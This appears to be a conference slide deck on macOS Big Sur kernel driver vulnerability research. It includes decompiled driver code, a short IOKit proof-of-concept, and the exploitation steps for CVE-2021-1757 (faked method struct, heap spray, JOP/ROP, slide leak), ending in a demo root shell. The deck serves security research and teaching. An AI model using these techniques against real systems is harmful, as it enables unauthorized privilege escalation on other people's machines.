

MacOS Big Sur内核漏洞挖掘和利用

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Bio

Twitter(@peterpan980927)

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


The image shows a screenshot of a Twitter profile for Peterpan0927. The profile picture is a circular image of a clock face. The header image shows a person holding a red apple. The profile name is Peterpan0927, with the handle @Peterpan980927. The bio reads: "Security Researcher at Alibaba Security Pandora Lab, used to be the intern of Qihoo 360 Nirvan Team". The location is EL1, the website is github.com/Peterpan0927, and the birth date is September 27, 1998. The user joined Twitter in May 2017. The profile shows 306 following and 753 followers. There is an "Edit profile" button in the top right corner.

Agenda

1. Backgrounds
2. Some case studies
3. Mitigations overview & new features
4. Attack macOS Big Sur
5. Summary & Credit

Backgrounds



AppleOS Kernel

XNU: X is not Unix(Hybrid Kernel)

1. Mach->(micro kernel)
2. BSD
3. IOKit

Mach Ports

Basic concepts

1. Communication channels for IPC
2. 32bit number in userspace
3. ipc_port struct in kernel space
4. Single receiver/One or Multiple Senders

```
/osfmk/ipc/ipc_object.h
struct ipc_port {
    struct ipc_object ip_object;
    struct ipc_mqueue ip_messages;
    ...
};


struct ipc_object {
    ipc_object_bits_t io_bits;
    ipc_object_refs_t io_references;
    lck_spin_t io_lock_data;
}__attribute__((aligned(8)));
```

Mach Ports

Basic concepts


1. Many kernel data objects are wrapped with mach ports
2. E.g: Tasks(tfp0)/Driver instance(C++ obj)/clock/file_glob...

```
/osfmk/kern/ipc_kobject.h  
#define IKOT_CLOCK 25  
#define IKOT_IOKIT_CONNECT 29  
#define IKOT_IOKIT_OBJECT 30  
#define IKOT_VOUCHER 37  
...
```



Mach Ports For IPC

Overview



Apple Driver

IOKit part

IOKit是一套基于C++子集构建的框架、库、工具和资源
支持设备的动态和自动配置（即插即用）

抢占式多任务，对称多处理...

不支持异常，多重继承，模版和RTTI

KEXT是内核扩展，包含Apple Driver

Apple Driver

Why?

1. Kexts run inside kernel, some can even be reachable within the sandbox
2. Kext deprecated in WWDC 2019
3. System Extension replacing third party kext: DriverKit, NetworkExtension, Endpoint Security
4. Less developers, less attention

Apple Driver


Attack Surface

1. ExternalMethod(driver independent)
 2. Notification Port(CVE-2020-9768)
 3. SharedMemory(TOCTOU)
 4. clientClose(CVE-2018-4326)
 5. setProperties(CVE-2016-1835)
- Etc...

Apple Driver

Attack Surface

1. ExternalMethod(driver independent)
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 5. setProperties(CVE-2016-1835)
- Etc...




Apple Driver

Attack Surface

Name	Description	Corresponding system APIs
externalMethod()	provide methods to user-space programs	IOConnectCallMethod
getTargetAndMethodForIndex()	provide methods to user-space programs (legacy user-entry)	IOConnectCallMethod
getAsyncTargetAndMethodForIndex()	provide methods that return results asynchronously (legacy user-entry)	IOConnectCallAsyncMethod
getTargetAndTrapForIndex()	similar to getTargetAndMethodForIndex (legacy user-entry)	IOConnectTrapX
clientMemoryForType()	share memory with user-space programs	IOConnectMapMemory
registerNotificationPort()	allow user-space programs to register for notifications	IOConnectSetNotificationPort
setProperty()	set runtime property of the userclient	IOConnectSetCFProperty
clientClose()	stop using the userclient	IOServiceClose

<http://homes.sice.indiana.edu/luyixing/bib/CCS20-iDEA.pdf>

Case studies



Case Studies

CVE-2016-1825(bazad)

```
IOReturn IOHIDDevice::setProperties( OSObject * properties )
{
    OSDictionary * propertyDict = OSDynamicCast(OSDictionary, properties);
    IOReturn ret = kIOReturnBadArgument;

    if ( propertyDict ) {
        if (propertyDict->setOptions(0, 0) & OSDictionary::kImmutable) {
            OSDictionary * temp = propertyDict;
            propertyDict = OSDynamicCast(OSDictionary, temp->copyCollection());
        }
        else {
            propertyDict->retain();
        }
        propertyDict->setObject(kIOHIDDeviceParametersKey, kOSBooleanTrue);
        ret = setParamProperties( propertyDict );
        propertyDict->removeObject(kIOHIDDeviceParametersKey);
        propertyDict->release();
    }

    return ret;
}
```

```
//poc
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
    IOServiceMatching("IOHIDDevice"));
// Set the IOUserClientClass property to IOPCIDiagnosticsClient.
IORegistryEntrySetCFProperty(service,
    CFSTR("IOUserClientClass"),
    CFSTR("IOPCIDiagnosticsClient"));
// Create a connection to the IOPCIDiagnosticsClient.
io_connect_t connection;
IOServiceOpen(service, mach_task_self(), 0, &connection);
```

Case Studies

CVE-2018-4327(brightiup)

```
__int64 mDNSOffloadUserClient::clientClose(mDNSOffloadUserClient *this) {
mDNSOffloadUserClient *v1; // rbx __int64 v2; // rdi
__int64 v3; // rax
v2 = *((_QWORD *)this + 27);
if ( v2 ){ ...
if ( this->CommandGate ){
v3 = (*(__int64 (__cdecl **)(_QWORD)))(**((_QWORD **)v1 + 27) + 1672LL)
(*((_QWORD *)v1 + 27));
if ( v3 )
(*(void (__fastcall **)(__int64, _QWORD))(*(_QWORD *)v3 + 328LL))(v3, *((_QWORD *)v1 + 28));
this->CommandGate->release();
this->CommandGate = NULL; }
}
```

```
__int64 __fastcall mDNSOffloadUserClient::doRequest(...) {
__int64 result; // rax
__int64 v6; // rdi
__int64 v7; // [rsp+8h] [rbp-8h]
v7 = a4;
result = 0xE0000001LL;
if ( *((_QWORD *)this + 27) ) {
if ( this->CommandGate )
result = this->CommandGate->runAction(mDNSOffloadUserClient::
doRequestGated, a2, a3, &v7, a5);
}
return result;
```

Case Studies

CVE-2020-9768

在registerNotificationPort中，如果已经设置过port，重新设置新的port，旧的port引用计数会-1

```
__int64 AppleJPEGDriverUserClient::registerNotificationPort...  
{  
    ipc_port *curPort = this->_notifyPort;  
    if ( curPort )  
    {  
        IOUserClient::releaseNotificationPort(curPort);  
        this->_notifyPort = 0LL;  
    }  
    this->_notifyPort = port;  
    this->_portRefCnt = refCnt;  
    return 0LL;  
}
```

<https://proteas.github.io/ios/vulnerability/2020/03/27/analysis-of-CVE-2020-9768.html>

Case Studies

CVE-2020-9768

在另一个函数startDecoder中，会携带当前的通知port，在解码事件完成后，会直接从请求中取出port进行使用


```
__int64 __fastcall AppleJPEGDriverUserClient::startDecoder(...)
{
    ...

    internalRequest = PRTS_CreateInternalRequest();
    if ( internalRequest )
    {
        internalRequest->wakePort = notifyPort;
    }
    ...
}

AppleJPEGDriver * __fastcall AppleJPEGDriver::PRTS_OnFinishedEvent(...)
{
    ...

    *jpegRequest2->asyncRef.wakePort = 0LL;
    AppleJPEGDriverUserClient::setAsyncReference64(
        &jpegRequest2->asyncRef,
        jpegRequest2->wakePort,
        jpegRequest2->callback,
        jpegRequest2->refcon);
    v22 = AppleJPEGDriverUserClient::sendAsyncResult64(
        &jpegRequest2->asyncRef,
        jpegRequest2->result,
        &jpegRequest2->args,
        1u);
    ...
}
```

From N day to 0 day



From N day to 0 day

Inspiration examples

	Blogs
1	task_swap_mach_voucher: https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html
2	MPTCP: https://blog.pangu.io/?p=213
3	IO80211Family: http://i.blackhat.com/USA-20/Thursday/us-20-Wang-Dive-into-Apple-IO80211FamilyV2.pdf
4	libxpc: https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-3.html

From N day to 0 day

Key point 1

Point: “it remained in the codebase and on all iPhones since 2014, reachable from the inside of any sandbox. You would have triggered it though if you had ever tried to use this code and called `task_swap_mach_voucher` with a valid voucher.”

From N day to 0 day

Key point 2

Point: “Now a natural question comes into our mind: how many connections can a client connect to a host at most? With this question in mind, we created a simple test program that simply creates an MPTCP socket and connects to a host many times.

Our purpose is to figure out when we cannot create new connections.”

From N day to 0 day

Key point 3

Point: “IO80211FamilyV2 is a brand new design for the mobile era. IO80211FamilyV2 and AppleBCM WLANCore integrate the original AirPort Brcm4331 / 4360 series drivers, with more features and better logic. Please also keep in mind, new features always mean new attack surfaces.”

From N day to 0 day

Case 1

```
__int64 __fastcall IOSkywalkTester::newUserClient(IOSkywalkTester *this, task *a2, void *a3, unsigned int a4, IOUserClient **a5)
{
    IOUserClient *uc; // rax
    IOUserClient *v7; // rbx

    uc = IOSkywalkTesterUserClient::withTask(a2, a2);
    if ( uc )
    {
        v7 = uc;
        if ( ((unsigned __int8 (__fastcall *)(IOUserClient *, IOSkywalkTester *))uc->attach)(uc, this) )
            *a5 = v7;
        else
            printf(...);
    }
    else
    {
        printf(
            "AssertMacros: %s, %s file: %s, line: %d, value: %ld\n",
            "client",
            &unk_392BA,
            "/AppleInternal/BuildRoot/Library/Caches/com.apple.xbs/Sources/IOSkywalkFamily/IOSkywalkFamily-165/IOSkywalkTester/"
            "IOSkywalkTester.cpp",
            57LL,
            0LL);
    }
    return 0LL;
}
```

From N day to 0 day

Case 1

```
__int64 __fastcall IOSkywalkTester::newUserClient(IOSkywalkTester *this, task *a2, void *a3, unsigned int a4, IOUserClient **a5)
{
    IOUserClient *uc; // rax
    IOUserClient *v7; // rbx

    uc = IOSkywalkTesterUserClient::withTask(a2, a2);
    if ( uc )
    {
        v7 = uc;
        if ( ((unsigned __int8 (__fastcall *) (IOUserClient *, IOSkywalkTester *))uc->attach)(uc, this) )
            *a5 = v7;
        else
            printf(...);
    }
    else
    {
        printf(
            "AssertMacros: %s, %s file: %s, line: %d, value: %ld\n",
            "client",
            &unk_392BA,
            "/AppleInternal/BuildRoot/Library/Caches/com.apple.xbs/Sources/IOSkywalkFamily/IOSkywalkFamily-165/IOSkywalkTester/"
            "IOSkywalkTester.cpp",
            57LL,
            0LL);
    }
    return 0LL;
}
```

From N day to 0 day

Case 1(upper handle)

```
//is_io_service_open_extended
res = service->newUserClient( owningTask, (void *) owningTask,
                             connect_type, propertiesDict, &client );

if (propertiesDict) {
    propertiesDict->release();
}

if (res == kIOReturnSuccess) {
    assert( OSDynamicCast(IOUserClient, client));
    if (!client->reserved) {
        if (!client->reserve()) {
            client->clientClose();
            OSSafeReleaseNULL(client);
            res = kIOReturnNoMemory;
        }
    }
}
}
```

From N day to 0 day

Case 2

```
__int64 __fastcall AppleIntelFramebuffer::newUserClient(AppleIntelFramebuffer *this, task *a2, void *a3, __int64 type,
**a5)
{
  IOUserClient *v6; // rax
  IOUserClient *v7; // rbx

  ++qword_C77F0;
  if ( (__DWORD)type == 0x3E8 )
  {
    v6 = ApplePMTGraphicsInformation::withTask(a2, a2);
    if ( v6 )
    {
      v7 = v6;
      ++qword_C7800;
      if ( ((unsigned __int8 (__fastcall *)(IOUserClient *, AppleIntelFramebuffer *))v6->attach)(v6, this) )
      {
        ++qword_C7810;
        if ( ((unsigned __int8 (__fastcall *)(IOUserClient *, AppleIntelFramebuffer *))v7->start)(v7, this) )
          goto LABEL_7;
      }
      ++qword_C7808;
      ((void (__fastcall *)(IOUserClient *, AppleIntelFramebuffer *))v7->detach)(v7, this);
      ((void (__fastcall *)(IOUserClient *))v7->release_0)(v7);
    }
    v7 = 0LL;
  }
  LABEL_7:
  *a5 = v7;
  return 0LL;
}
```

From N day to 0 day

Case 3

```

; __int64 __fastcall IOSkywalkTesterUserClient::createInterface(IOSkywalkTesterUserClient * __hidd
      public __ZN25IOSkywalkTesterUserClient15createInterfaceEPvS0_yPy
__ZN25IOSkywalkTesterUserClient15createInterfaceEPvS0_yPy proc near
      ; DATA XREF: __const:00000000000004BCF04o
      push     rbp
      mov     rbp, rsp
      push   r15
      push   r14
      push   r12
      push   rbx
      mov    r15, rdx
      mov    r14, rsi
      mov    rax, [rdi]
      call  qword ptr [rax+680h]
      lea   rcx, __ZN15IOSkywalkTester9metaClassE ; IOSkywalkTester::metaClass
      mov  rsi, [rcx] ; unsigned __int64
      mov  rdi, rax ; anObject
      call __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase
      mov  rbx, rax
      mov  edi, offset stru_108.addr ; this
      call __ZN32IOSkywalkTesterEthernetInterfacenwEm ; IOSkywalkTesterEthernetInter
      mov  r12, rax
      mov  rdi, rax ; this
      call __ZN32IOSkywalkTesterEthernetInterfaceClEv ; IOSkywalkTesterEthernetInter
      mov  rax, [r12]
      mov  rdi, r12
      mov  rsi, r14
      call qword ptr [rax+0A48h]

```


From N day to 0 day

Case 3

macOS 的问题报告

您的电脑因为出现问题而重新启动。
此报告将自动发送给 Apple。

> 注释

问题详细信息和系统配置

```

0xffffffffb0bbf53130 : 0xffffffff801649805a mach_kernel : _panic + 0x54
0xffffffffb0bbf531a0 : 0xffffffff8015dc18c6 mach_kernel : _sync_iss_to_iks + 0x2c6
0xffffffffb0bbf53320 : 0xffffffff8015dc15ad mach_kernel : _kernel_trap + 0x60d
0xffffffffb0bbf53370 : 0xffffffff8015c2fa2f mach_kernel : _return_from_trap + 0xff
0xffffffffb0bbf53390 : 0xffffffff7fae47af5a com.apple.driver.AppleIntelICLGraphics : __ZN10IGPagePool4growEv + 0x186
0xffffffffb0bbf534d0 : 0xffffffff7fae47ac55 com.apple.driver.AppleIntelICLGraphics : __ZN10IGPagePool12allocatePageEv + 0x97
0xffffffffb0bbf53510 : 0xffffffff7fae47e049 com.apple.driver.AppleIntelICLGraphics :
7N31IGHardwarePerProcessPageTable6411expandLevelINS_10IlevelEntryTIm9F17GTTPageTableEntryEENS1_ILm9E21GTTPageDirectoryEntryEEEE
  
```

概览 显示器 储存空间 支持 资源

macOS Big Sur
版本 11.3 Beta 版 (20E5186d)

MacBook Pro (13-inch, 2020, Four Thunderbolt 3 ports)

From N day to 0 day

Case 4

您的电脑因为出现问题而重新启动。

此报告将自动发送给 Apple。

> 注释

问题详细信息和系统配置

```
panic(cpu 2 caller 0xfffff801fb64a25): userspace watchdog timeout: no successful checkins from com.apple.WindowServer in 120 seconds
service: com.apple.logd, total successful checkins since load (190 seconds ago): 20, last successful checkin: 0 seconds ago
service: com.apple.WindowServer, total successful checkins since load (160 seconds ago): 4, last successful checkin: 120 seconds ago
service: com.apple.remoted, total successful checkins since load (190 seconds ago): 18, last successful checkin: 0 seconds ago
```



概览 显示器 储存空间 支持 服务

macOS Big Sur

版本 11.2

MacBook Pro (13-inch, 2020, Four Thunderbolt 3 ports)


处理器 2 GHz 四核 Intel Core i5

内存 16 GB 3733 MHz LPDDR4X

arguments

attachP8050biectPv + 0x1de

Mitigations Overview



Mitigations Overview

Old mitigations

1. PAN/PXN(SMAP/SMEP)
2. PAC
3. KASLR(kernel image/heap)
4. APRR(PPL/JIT)
5. KPP->KTRR
6. zone_require/task_conversion_eval...

Mitigations Overview

New mitigations


Kernel heap isolation

- default.kalloc
- data.kalloc
- kext.kalloc
- Temp(alias to default)

Auto-Zeroing

- Z_ZERO
- Zfree_clear_mem

Attack macOS Big Sur




Attack macOS Big Sur

What we want?

1. EoP
2. Kernel Code Execution
3. 100% stable

Attack macOS Big Sur

Kernel Debug?



```

peterpan0927@B-TQ1NML7H-0133: ~
read -- Read from the memory of the current target process.
region -- Get information on the memory region containing an address in
the current target process.
(lldb) memo read -G 20gx 0xffffffff800eebca23
0xffffffff800eebca23: 0x000000825048b4865 0x00000082844c74200
0xffffffff800eebca33: 0x0138287c83420000 0x8348077428048d4a
0xffffffff800eebca43: 0x40c7482875001878 0x40c7480000000010
0xffffffff800eebca53: 0x40c7480000000018 0x40c7480000000020
0xffffffff800eebca63: 0x40c7480000000028 0x0c40c70000000030
0xffffffff800eebca73: 0x003c40c700000000 0x000000c748000000
0xffffffff800eebca83: 0x44382b4cff420000 0xff6500d44b033d89
0xffffffff800eebca93: 0x0f7500000058250c 0x00000025048b4865
0xffffffff800eebcaa3: 0x9c4275045040f600 0x00000200c4f74158
0xffffffff800eebcab3: 0x7400000200a90a75 0x836590fb1eebfa21
(lldb) s
Process 1 stopped
* thread #1, stop reason = step in
  frame #0: 0xffffffff800eebca85 kernel`DebuggerWithContext(reason=<unavailable>
, ctx=<unavailable>, message=<unavailable>, debugger_options_mask=0) at debug.c:
692:18 [opt]
Target 0: (kernel) stopped.
(lldb) bt
* thread #1, stop reason = step in
  * frame #0: 0xffffffff800eebca85 kernel`DebuggerWithContext(reason=<unavailable>
, ctx=<unavailable>, message=<unavailable>, debugger_options_mask=0) at debug.c:

```


Attack macOS Big Sur

CVE-2021-1757

```
char *__fastcall
IOSkywalkTesterUserClient::getTargetAndMethodForIndex(IOSkywalkTesterUserClient *this,
IOService **a2, unsigned int a3)
{
    _QWORD rbx2; // rbx
    char *result; // rax
    if ( a2 )
    {
        rbx2 = (char *)&IOSkywalkTesterUserClient::sMethods + 0x30 * a3;
        *a2 = (IOService *)this;
    }
    ...
}
```

Attack macOS Big Sur

CVE-2021-1757

```
IDA - iPhone12Pro14_2_kernel.164 [iPhone12Pro14_2_kernel] /Users/peterpan0927/Desktop/bmp1/iPhone12Pro14_2_kernel.164
No debugger
Data Unexplored External symbol Lumina function
x IDA View-A x Pseudocode-C x Pseudocode-B x Pseudocode-A x Strings window x Hex View-1 x Structures x Enum
IOExternalMethod *__fastcall IOSkywalkTesterUserClient::getTargetAndMethodForIndex(IOSkywalkTesterU
{
  IOExternalMethod *method; // x8
  if ( a2 )
  {
    method = (IOExternalMethod *)((char *)&IOSkywalkTesterUserClient::sMethods + 48 * selector);
    *a2 = (IOService *)this;
  }
  else
  {
    printf(
      "AssertMacros: %s, %s file: %s, line: %d, value: %ld\n",
      "target",
      &byte_FFFFFFFF0074A493F,
      "/Library/Caches/com.apple.xbs/Sources/IOSkywalkFamily/IOSkywalkFamily-166.40.6/IOSkywalkTest
      117LL,
      0LL);
    method = 0LL;
  }
  return method;
}
```

Attack macOS Big Sur

OOB Read

```
} else {
    IOExternalMethod * method;
    object = NULL;
    if (!(method = getTargetAndMethodForIndex(&object, selector)) || !object) {
        return kIOReturnUnsupported;
    }

    if (kIOUCForegroundOnly & method->flags) {
        if (task_is_gpu_denied(current_task())) {
            return kIOReturnNotPermitted;
        }
    }
}
```

Attack macOS Big Sur

Faked struct

```
struct IOExternalMethod {  
    IOService * object;  
    IOMethod func;  
    IOOptionBits flags;  
    IOByteCount count0;  
    IOByteCount count1;  
};
```

```
func_ptr = a1->func.ptr;  
v10 = a1->func.adj;  
switch ( inputCount )  
{  
    case 0u:  
        vtable = (&object->__vftable + v10);  
        if ( (func_ptr & 1) != 0 )  
            func_ptr = *(func_ptr + *vtable - 1);  
        result = (func_ptr)(vtable, &v34, &v34 + 4, &v35, &v35 + 4, v36, v36 + 4);  
        break;  
    case 1u:  
        v26 = (&object->__vftable + v10);  
        if ( (func_ptr & 1) != 0 )  
            func_ptr = *(func_ptr + *v26 - 1);  
        result = (func_ptr)(v26, *input, &v34, &v34 + 4, &v35, &v35 + 4, v36);  
        break;  
}
```

Attack macOS Big Sur

Faked struct

```
If (func & 1) {  
    vtable+func(...)  
} else {  
    func(...)  
}
```

```
func_ptr = a1->func.ptr;  
v10 = a1->func.adj;  
switch ( inputCount )  
{  
  case 0u:  
    vtable = (&object->__vftable + v10);  
    if ( (func_ptr & 1) != 0 )  
      func_ptr = *(func_ptr + *vtable - 1);  
    result = (func_ptr)(vtable, &v34, &v34 + 4, &v35, &v35 + 4, v36, v36 + 4);  
    break;  
  case 1u:  
    v26 = (&object->__vftable + v10);  
    if ( (func_ptr & 1) != 0 )  
      func_ptr = *(func_ptr + *v26 - 1);  
    result = (func_ptr)(v26, *input, &v34, &v34 + 4, &v35, &v35 + 4, v36);  
    break;  
}
```

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
Panic Try

```
panic(cpu 2 caller 0xfffff8002befa76): Kernel trap at 0xfffff8003247e9a, type 14=page fault, registers:
CR0: 0x0000000000010033, CR2: 0xfffff804693e4d0, CR3: 0x000000003a144a055, CR4: 0x00000000003626e0
RAX: 0xfffff800552a390, RBX: 0x0000000000000000, RCX: 0x0000000000000008, RDX: 0xfffff937132aa08
RSP: 0xfffffa073aa3a90, RBP: 0xfffffa073aa3ad0, RSI: 0xfffff93703cd800, RDI: 0x0000000000000010
R8: 0xfffff9370f67db8, R9: 0x00000000ffffffff, R10: 0x0000000041414141, R11: 0xfffff9370f67db4
R12: 0xfffffa073aa3b40, R13: 0xfffff937132aa30, R14: 0xfffffa073aa3a10, R15: 0x0000000000000008
RFL: 0x0000000000010202, RIP: 0xfffff8003247e9a, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0xfffff804693e4d0, Error code: 0x0000000000000000, Fault CPU: 0x2, PL: 0, VF: 1
```

```
Backtrace (CPU 2), Frame : Return Address
0xfffffa073aa34b0 : 0xfffff8002abc66d mach_kernel : _handle_debugger_trap + 0x3dd
0xfffffa073aa3500 : 0xfffff8002bff073 mach_kernel : _kdp_i386_trap + 0x143
0xfffffa073aa3540 : 0xfffff8002bef6aa mach_kernel : _kernel_trap + 0x55a
0xfffffa073aa3590 : 0xfffff8002a61a2f mach_kernel : _return_from_trap + 0xff
0xfffffa073aa35b0 : 0xfffff8002abbf0d mach_kernel : _DebuggerTrapWithState + 0xad
0xfffffa073aa36d0 : 0xfffff8002abc1f8 mach_kernel : _panic_trap_to_debugger + 0x268
0xfffffa073aa3740 : 0xfffff80032bee1a mach_kernel : _panic + 0x54
0xfffffa073aa37b0 : 0xfffff8002befa76 mach_kernel : _sync_iss_to_iks + 0x2c6
0xfffffa073aa3930 : 0xfffff8002bef75d mach_kernel : _kernel_trap + 0x60d
0xfffffa073aa3980 : 0xfffff8002a61a2f mach_kernel : _return_from_trap + 0xff
0xfffffa073aa39a0 : 0xfffff8003247e9a mach_kernel : _shim_io_connect_method_structureI_structure0 + 0x7a
0xfffffa073aa3ad0 : 0xfffff8003246247 mach_kernel :
_ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x337
0xfffffa073aa3b20 : 0xfffff80032502bb mach_kernel : _is_io_connect_method + 0x35b
0xfffffa073aa3c80 : 0xfffff8002baaa61 mach_kernel : iokit server routine + 0x4d81
```

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Heap Spray




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Control more

```
//48 bytes total
struct IOExternalMethod {
    IOService *   object;
    //0x10
    IOMethod      func;
    IOOptionBits  flags;
    IOByteCount   count0;
    IOByteCount   count1
};

enum {
    kIOUCTypeMask = 0x0000000f,
    kIOUCScalarIScalarO = 0,
    kIOUCScalarIStructO = 2,
    kIOUCStructIStructO = 3,
    kIOUCScalarIStructI = 4,
};
```



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Type Conversion

```
switch (method->flags & kIOUCTypeMask) {  
case kIOUCScalarIStructI:  
    err = shim_io_connect_method_scalarI_structureI( method, object,  
        args->scalarInput, args->scalarInputCount,  
        (char *) args->structureInput, args->structureInputSize );  
    break;  
  
case kIOUCScalarIScalarO:  
    err = shim_io_connect_method_scalarI_scalarO( method, object,  
        args->scalarInput, args->scalarInputCount,  
        args->scalarOutput, &args->scalarOutputCount );  
    break;  
}
```

Control More Registers!




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Type Conversion

Control More bits!

```
switch (inputCount) {
  case 5:
    err = (object->*func)( ARG32(input[0]), ARG32(input[1]), ARG32(input[2]),
                          ARG32(input[3]), ARG32(input[4]),
                          inputStruct );
    break;
  case 4:
    err = (object->*func)( ARG32(input[0]), ARG32(input[1]), (void *)
                          input[2],
                          ARG32(input[3]),
                          inputStruct, (void *) (uintptr_t)inputStructCount );
    break;
  case 3:
    err = (object->*func)( ARG32(input[0]), ARG32(input[1]), ARG32(input[2]),
                          inputStruct, (void *) (uintptr_t)inputStructCount,
                          NULL );
    break;
}
```



Rcx

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JOP+ROP

```
mov     gs:30h, rdx
_Switch_context endp ; sp-analysis failed

mov     gs:38h, rcx
mov     rsp, [rcx+8]
mov     rbx, [rcx]
mov     rbp, [rcx+10h]
mov     r12, [rcx+18h]
mov     r13, [rcx+20h]
mov     r14, [rcx+28h]
mov     r15, [rcx+30h]
jmp     qword ptr [rcx+38h]

; -----
align 20h

; ===== SUBROUTINE =====
```

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Where is my slide? □□

1. Find another info leak
2. Use this bug to do a type conversion

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Failed Attempts

1. Leak pointers/members to outputStruct?
2. Use indirect call to copy info to heap we control?


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Ret2leak!(Never forget about the return value)


```
; __int64 __fastcall IOSkywalkNetworkController::getMetaClass(IOSkywalkNetworkController
                public __ZNK26IOSkywalkNetworkController12getMetaClassEv
__ZNK26IOSkywalkNetworkController12getMetaClassEv proc near
                ; DATA XREF: __const:0000000000049710↓o
                push    rbp
                mov     rbp, rsp
                lea    rax, __ZN26IOSkywalkNetworkController10gMetaClassE ; IOSkywalkNe
                pop    rbp
                retn
__ZNK26IOSkywalkNetworkController12getMetaClassEv endp
```

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Heap Feng Shui



Show time



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Demo




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Demo

```
└─ ExpDir sw_vers
ProductName:   macOS
ProductVersion: 11.0.1
BuildVersion: 20B29
└─ ExpDir ./exploit
[+] heap spray[infoleak] done..
[+] kslide : 0x1dc00000
[+] heap spray[stage2] done..
get connection 0x470e707
[+] get root

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2# id
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),704(com.apple.sharepoint.group.4),703(com.apple.sharepoint.group.3),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2)
bash-3.2#
```

Summary & Credit



Summary



1. Simple problems can have serious impact on modern system
2. Code qualities should always be consistent with mitigations
3. Never limit yourself during developing the exploit

Credit

1. Google Project Zero/Pangu Team/Wangyu's slides
2. Examples used in this slide
3. Shrek_wzw/Proteas/ThomasKing2014's guidance and help

感谢观看！

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